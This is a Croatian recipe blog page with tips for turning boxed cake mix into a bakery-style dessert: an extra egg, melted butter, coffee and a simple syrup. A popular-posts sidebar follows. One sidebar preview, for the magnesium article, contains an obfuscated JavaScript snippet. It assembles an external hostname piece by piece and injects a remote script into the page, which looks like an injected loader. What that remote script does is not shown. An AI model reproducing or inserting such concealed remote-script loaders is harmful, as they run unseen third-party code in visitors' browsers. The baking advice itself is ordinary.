TRIK KOJIM ĆETE KUPOVNU SMJESU ZA KOLAČE PRETVORITI U DESERT KAO IZ SLASTIČARNICE





Trik kojim ćete kupovnu smjesu za kolače pretvoriti u desert kao iz slastičarnice 




Klasična mješavina za kolač iz kutije uvijek je dobro rješenje, bilo da trebate brz desert za nenajavljene goste ili jednostavno želite nešto slatko. No postoje načini da takav kolač učinite još boljim, a iznenađujuće su jednostavni. Najlakši trik? Koristiti jedno jaje više nego što piše na kutiji. Taj dodatak poboljšava teksturu i okus kolača, pretvarajući ga iz sasvim običnog u gotovo “slastičarski” desert.




Zašto dodati jedno jaje više u kupovni miks?

Jaja u smjesama za kolače djeluju kao vezivo i drže sve sastojke na okupu; dodaju i bogatstvo i vlagu, a pritom pomažu i dizanje tijesta.

Osim toga, proteini iz jaja se tijekom pečenja učvršćuju i stvaraju strukturu koja zadržava tekućinu. Upravo zbog toga, dodavanje dodatnog jajeta može pojačati sve te učinke.

Ovaj trik posebno dobro funkcionira kod bezglutenskih mješavina, jer takva tijesta nemaju gluten koji inače pruža strukturu.

Da biste isprobali trik kod kuće, jednostavno dodajte jedno jaje više prilikom miješanja mokrih sastojaka. No nemojte pretjerivati: previše jaja može dati pretjerano “jajasti” okus ili gumastu teksturu.




Drugi načini da unaprijedite kupovni miks za kolač

Koristite rastopljeni maslac umjesto ulja

Maslac je izvrsna zamjena za ulje: daje bolji okus, a kolač čini čvršćim i stabilnijim, što je posebno korisno ako slažete više slojeva.

Maslac je bogat zasićenim mastima i čvrst na sobnoj temperaturi, dok ulje ostaje tekuće, a te se karakteristike prenose i na kolač.




Dodajte kavu u čokoladne kolače

Kava i čokolada dijele puno aromatskih nota: gorke, orašaste, voćne, pa čak i citrusne. Te se arome pojačavaju kada se sparuju.

Umjesto dijela ili cijele tekućine (vode ili mlijeka), upotrijebite kavu. Instant kava je također dobra opcija ako je umiješate u suhe sastojke.




Premažite kolač jednostavnim sirupom

Za iznimno sočan kolač, preporučuje se jednostavni sirup kojim ćete premazati površinu kolača: jednaki omjeri šećera i tople vode, uz mogućnost dodavanja vanilije, ruma ili korice naranče.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više